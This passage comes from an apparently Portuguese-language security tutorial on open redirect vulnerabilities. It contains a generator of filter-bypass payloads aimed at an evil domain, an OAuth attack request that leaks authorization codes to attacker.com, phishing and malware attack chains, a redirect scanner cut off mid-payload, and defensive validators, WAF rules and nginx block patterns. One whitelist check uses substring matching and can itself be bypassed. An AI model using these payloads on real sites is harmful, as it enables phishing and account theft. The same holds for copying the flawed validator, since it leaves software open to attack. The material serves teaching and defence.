Security Verification Required
Please re-enter your credentials for security purposes.
```
{% endstep %}
{% step %}
#### **2. Chain com XSS para Redirecionamento Silencioso**
```javascript
// Exploração combinada: XSS + Open Redirect
```
{% endstep %}
{% step %}
#### **3. Bypass de Validações Avançadas**
```python
# Técnicas para bypass de validações comuns
def generate_bypass_payloads(target_domain, evil_domain):
bypasses = []
# 1. URL encoding
bypasses.append(f"https%3A%2F%2F{evil_domain}")
bypasses.append(f"http%3A%2F%2F{evil_domain}")
# 2. Double URL encoding
bypasses.append(f"https%253A%252F%252F{evil_domain}")
# 3. HTML entities
bypasses.append(f"https://{evil_domain}".replace('/', '/'))
# 4. Unicode normalization
bypasses.append(f"https://{evil_domain}".replace('e', 'ｅ')) # Fullwidth
# 5. URL fragments
bypasses.append(f"https://{target_domain}#@{evil_domain}")
# 6. Parameter pollution
bypasses.append(f"https://{target_domain}?next=https://{evil_domain}")
# 7. Subdomain tricks
bypasses.append(f"https://{target_domain}.{evil_domain}")
bypasses.append(f"https://{evil_domain}@{target_domain}")
# 8. Localhost bypass
bypasses.append(f"http://localhost@{evil_domain}")
bypasses.append(f"http://127.0.0.1@{evil_domain}")
return bypasses
# Exemplo de validação que pode ser bypassed
def weak_validation(redirect_url):
# Validação que só verifica se contém o domínio
if 'trusted-site.com' in redirect_url:
return True
return False
# Todos esses payloads contêm 'trusted-site.com' mas redirecionam para evil.com
```
{% endstep %}
{% step %}
#### **4. Exploração em Fluxos OAuth/SSO**
```http
# Ataque a fluxo OAuth com open redirect
GET /oauth/authorize?client_id=123&redirect_uri=https://trusted-site.com/redirect?url=https://attacker.com&response_type=code HTTP/1.1
Host: oauth-provider.com
# Fluxo:
# 1. Usuário autoriza app no OAuth provider
# 2. OAuth provider redireciona para redirect_uri com code
# 3. trusted-site.com redireciona para attacker.com com o code
# 4. Atacante intercepta code e troca por access token
```
{% endstep %}
{% endstepper %}
### **Impacto das Vulnerabilidades**
#### **Classificação de Impacto**
```json
{
"impacto_alto": {
"phishing_avancado": [
"Roubo de credenciais de usuários",
"Ataques de spear phishing",
"Comprometimento de contas corporativas"
],
"malware_distribution": [
"Distribuição de malware",
"Drive-by downloads",
"Infecção em cadeia"
]
},
"impacto_medio": {
"trust_exploitation": [
"Abuso de confiança do usuário",
"Danos à reputação da marca",
"Perda de confiança dos clientes"
],
"business_logic_bypass": [
"Bypass de verificações de segurança",
"Acesso não autorizado a recursos",
"Manipulação de fluxos de aplicação"
]
},
"impacto_baixo": {
"user_annoyance": [
"Redirecionamentos indesejados",
"Experiência de usuário prejudicada",
"Perda de produtividade"
],
"seo_spam": [
"Redirecionamentos para spam",
"Abuso de rankeamento SEO",
"Links maliciosos indexados"
]
}
}
```
#### **Cadeias de Ataque Completas**
```
Cenário Phishing:
Open Redirect → Página de Phishing Idêntica → Roubo de Credenciais → Acesso Não Autorizado
Cenário Malware:
Open Redirect → Landing Page Maliciosa → Drive-by Download → Infecção do Sistema
Cenário SSRF:
Open Redirect + SSRF → Redirecionamento Interno → Acesso a Metadados → Comprometimento
```
***
## 🛡️ **Mitigação e Correção**
### **Estratégias de Defesa em Camadas**
#### **1. Lista Branca de URLs Permitidas**
```python
class SafeRedirect:
def __init__(self):
self.allowed_domains = {
'trusted-site.com',
'app.trusted-site.com',
'api.trusted-site.com',
'www.trusted-site.com'
}
self.allowed_paths = {
'/dashboard',
'/profile',
'/settings',
'/home'
}
def is_safe_redirect(self, redirect_url):
"""Verificar se URL de redirecionamento é segura"""
from urllib.parse import urlparse
# Se URL estiver vazia ou None
if not redirect_url:
return False
# Parse da URL
try:
parsed = urlparse(redirect_url)
except Exception:
return False
# Bloquear esquemas perigosos
dangerous_schemes = ['javascript', 'data', 'vbscript', 'file']
if parsed.scheme and parsed.scheme.lower() in dangerous_schemes:
return False
# Para URLs absolutas
if parsed.netloc:
# Verificar se domínio está na whitelist
domain = parsed.netloc.lower()
if not any(allowed_domain in domain for allowed_domain in self.allowed_domains):
return False
# Para URLs relativas
else:
# Verificar se path está na whitelist
if parsed.path not in self.allowed_paths:
return False
return True
def safe_redirect(self, redirect_url, default_url='/'):
"""Redirecionamento seguro com fallback"""
if self.is_safe_redirect(redirect_url):
return redirect_url
else:
return default_url
# Uso
redirect_handler = SafeRedirect()
@app.route('/login')
def login():
return_url = request.args.get('returnUrl', '/')
safe_url = redirect_handler.safe_redirect(return_url, '/dashboard')
# Processar login...
return redirect(safe_url)
```
#### **2. Validação Baseada em Mapping**
```python
# Mapeamento de tokens seguros para URLs
class TokenBasedRedirect:
def __init__(self):
self.redirect_tokens = {}
self.token_expiry = 3600 # 1 hora
def generate_safe_redirect(self, target_url):
"""Gerar token seguro para redirecionamento"""
import secrets
import time
# Validar URL primeiro
if not self.is_internal_url(target_url):
target_url = '/' # Fallback para URL interna
# Gerar token único
token = secrets.token_urlsafe(32)
# Armazenar mapping
self.redirect_tokens[token] = {
'url': target_url,
'created_at': time.time()
}
return token
def resolve_redirect(self, token):
"""Resolver token para URL segura"""
import time
# Verificar se token existe
if token not in self.redirect_tokens:
return '/' # Fallback
redirect_data = self.redirect_tokens[token]
# Verificar expiração
if time.time() - redirect_data['created_at'] > self.token_expiry:
del self.redirect_tokens[token]
return '/' # Fallback
# Limpar token usado
url = redirect_data['url']
del self.redirect_tokens[token]
return url
def is_internal_url(self, url):
"""Verificar se URL é interna/relativa"""
from urllib.parse import urlparse
parsed = urlparse(url)
# URLs sem scheme e netloc são internas/relativas
return not parsed.scheme and not parsed.netloc
# Uso
redirect_mapper = TokenBasedRedirect()
@app.route('/login')
def login():
return_url = request.args.get('returnUrl', '/')
# Gerar token seguro
token = redirect_mapper.generate_safe_redirect(return_url)
# Redirecionar para login com token
login_url = f'/auth/login?redirect_token={token}'
return redirect(login_url)
@app.route('/auth/callback')
def auth_callback():
token = request.args.get('redirect_token')
safe_url = redirect_mapper.resolve_redirect(token)
return redirect(safe_url)
```
#### **3. Middleware de Validação Global**
```python
from flask import request, redirect
import re
class RedirectProtectionMiddleware:
def __init__(self, app):
self.app = app
self.redirect_params = ['redirect', 'return', 'next', 'url', 'target']
def __call__(self, environ, start_response):
# Interceptar request
request_path = environ.get('PATH_INFO', '')
query_string = environ.get('QUERY_STRING', '')
# Verificar parâmetros de redirecionamento na query string
if any(param in query_string for param in self.redirect_params):
# Processar e validar redirecionamentos
safe_environ = self.sanitize_redirects(environ)
return self.app(safe_environ, start_response)
return self.app(environ, start_response)
def sanitize_redirects(self, environ):
"""Sanitizar parâmetros de redirecionamento"""
from urllib.parse import parse_qs, urlencode
query_string = environ.get('QUERY_STRING', '')
if not query_string:
return environ
# Parse query string
params = parse_qs(query_string)
sanitized_params = {}
for key, values in params.items():
if key.lower() in self.redirect_params:
# Validar cada valor de redirecionamento
safe_values = []
for value in values:
if self.is_safe_redirect_value(value):
safe_values.append(value)
else:
# Substituir por valor seguro
safe_values.append('/')
sanitized_params[key] = safe_values
else:
sanitized_params[key] = values
# Reconstruir query string
new_query_string = urlencode(sanitized_params, doseq=True)
environ['QUERY_STRING'] = new_query_string
return environ
def is_safe_redirect_value(self, value):
"""Verificar se valor de redirecionamento é seguro"""
from urllib.parse import urlparse
try:
parsed = urlparse(value)
# Bloquear esquemas perigosos
if parsed.scheme and parsed.scheme.lower() in ['javascript', 'data', 'vbscript']:
return False
# Permitir apenas URLs relativas ou do mesmo domínio
if parsed.netloc and parsed.netloc not in ['trusted-site.com', 'www.trusted-site.com']:
return False
return True
except Exception:
return False
# Uso no Flask
app = Flask(__name__)
app.wsgi_app = RedirectProtectionMiddleware(app.wsgi_app)
```
### **Padrões de Codificação Seguros**
#### **1. Validação Rigorosa com Regex**
```python
import re
class StrictRedirectValidator:
def __init__(self):
# Regex para URLs relativas seguras
self.safe_relative_pattern = re.compile(r'^/?([a-zA-Z0-9\-._~%!$&\'()*+,;=:@/]|%[0-9a-fA-F]{2})*$')
# Domínios permitidos (apenas para URLs absolutas)
self.allowed_domains = [
r'^trusted-site\.com$',
r'^www\.trusted-site\.com$',
r'^app\.trusted-site\.com$'
]
def validate_redirect(self, redirect_url):
"""Validação rigorosa de URL de redirecionamento"""
if not redirect_url:
return False
# URLs vazias ou apenas fragment
if redirect_url in ['', '#']:
return False
# Verificar se é URL relativa
if self.is_safe_relative_url(redirect_url):
return True
# Verificar se é URL absoluta permitida
if self.is_allowed_absolute_url(redirect_url):
return True
return False
def is_safe_relative_url(self, url):
"""Verificar se URL é relativa e segura"""
# Não deve conter scheme ou netloc
if '://' in url or url.startswith('//'):
return False
# Deve matchar o padrão de URL relativa segura
return bool(self.safe_relative_pattern.match(url))
def is_allowed_absolute_url(self, url):
"""Verificar se URL absoluta é permitida"""
from urllib.parse import urlparse
try:
parsed = urlparse(url)
# Verificar scheme
if parsed.scheme not in ['http', 'https']:
return False
# Verificar domínio
domain = parsed.netloc.lower()
for pattern in self.allowed_domains:
if re.match(pattern, domain):
return True
return False
except Exception:
return False
# Uso
validator = StrictRedirectValidator()
def safe_redirect_view():
target = request.args.get('next', '/')
if validator.validate_redirect(target):
return redirect(target)
else:
return redirect('/') # Fallback seguro
```
#### **2. Content Security Policy para Redirecionamentos**
```python
# Configuração CSP para prevenir redirecionamentos não autorizados
@app.after_request
def set_security_headers(response):
# Content Security Policy
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self'; "
"style-src 'self' 'unsafe-inline'; "
"img-src 'self' data:; "
"connect-src 'self'; "
"frame-ancestors 'none'; "
"form-action 'self'; " # Importante: restringe onde forms podem submit
"base-uri 'self';"
)
# Outros headers de segurança
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
return response
```
#### **3. Logging e Monitoramento**
```python
import logging
from datetime import datetime
class RedirectLogger:
def __init__(self):
self.logger = logging.getLogger('redirect_security')
def log_redirect_attempt(self, request, target_url, is_safe, user_agent=None):
"""Logar tentativa de redirecionamento"""
log_data = {
'timestamp': datetime.utcnow().isoformat(),
'ip_address': request.remote_addr,
'request_path': request.path,
'target_url': target_url,
'is_safe': is_safe,
'user_agent': user_agent or request.headers.get('User-Agent'),
'referrer': request.headers.get('Referer')
}
if is_safe:
self.logger.info('Safe redirect attempt', extra=log_data)
else:
self.logger.warning('Blocked redirect attempt', extra=log_data)
# Alertar para múltiplas tentativas bloqueadas
self.check_for_attack_pattern(log_data)
# Uso no endpoint de redirecionamento
redirect_logger = RedirectLogger()
@app.route('/redirect')
def safe_redirect():
target_url = request.args.get('url', '/')
is_safe = redirect_validator.validate_redirect(target_url)
# Logar tentativa
redirect_logger.log_redirect_attempt(request, target_url, is_safe)
if is_safe:
return redirect(target_url)
else:
return redirect('/error?message=invalid_redirect')
```
### **Configurações de Segurança**
#### **1. Configuração Nginx para Prevenção**
```nginx
# Configuração para bloquear redirecionamentos maliciosos
server {
listen 443 ssl;
server_name trusted-site.com;
# Bloquear parâmetros de redirecionamento suspeitos
location ~* "\?(.*&)?(redirect|return|next|url|target)=https?://[^&]*[^.]\.[^.]" {
return 403;
}
# Bloquear redirecionamentos para domínios externos
location ~* "\?(.*&)?(redirect|return|next|url|target)=https?://(?!trusted-site\.com|www\.trusted-site\.com)" {
return 403;
}
# Headers de segurança
add_header Content-Security-Policy "default-src 'self'; form-action 'self';";
add_header X-Frame-Options "DENY";
add_header X-Content-Type-Options "nosniff";
}
```
#### **2. Web Application Firewall (WAF) Rules**
```python
# Exemplo de regras WAF para open redirects
WAF_RULES = [
{
'name': 'block_external_redirects',
'pattern': r'[?&](?:redirect|return|next|url|target)=https?://(?!.*trusted-site\.com)',
'action': 'block'
},
{
'name': 'block_javascript_redirects',
'pattern': r'[?&](?:redirect|return|next|url|target)=javascript:',
'action': 'block'
},
{
'name': 'block_data_uri_redirects',
'pattern': r'[?&](?:redirect|return|next|url|target)=data:',
'action': 'block'
},
{
'name': 'block_double_slash_redirects',
'pattern': r'[?&](?:redirect|return|next|url|target)=//',
'action': 'block'
}
]
```
***
## 🔧 **Ferramentas e Testes**
### **Ferramentas de Análise Automatizada**
#### **1. Scanner de Open Redirects Personalizado**
```python
#!/usr/bin/env python3
# open_redirect_scanner.py
import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor
class OpenRedirectScanner:
def __init__(self, target_url):
self.target = target_url
self.vulnerabilities = []
self.canary_domain = "your-canary-domain.com" # Domínio para detecção
def generate_redirect_payloads(self):
"""Gerar payloads de redirecionamento para teste"""
payloads = []
base_payloads = [
# URLs externas
f"https://{self.canary_domain}",
f"http://{self.canary_domain}",
f"//{self.canary_domain}",
# Encodings
f"https%3A%2F%2F{self.canary_domain}",
f"http%3A%2F%2F{self.canary_domain}",
f"%2F%2F{self.canary_domain}",
# Double encoding
f"https%253A%252F%252F{self.canary_domain}",
# With credentials
f"https://target.com@{self.canary_domain}",
f"https://{self.canary_domain}@target.com",
# Data URIs
"data:text/html,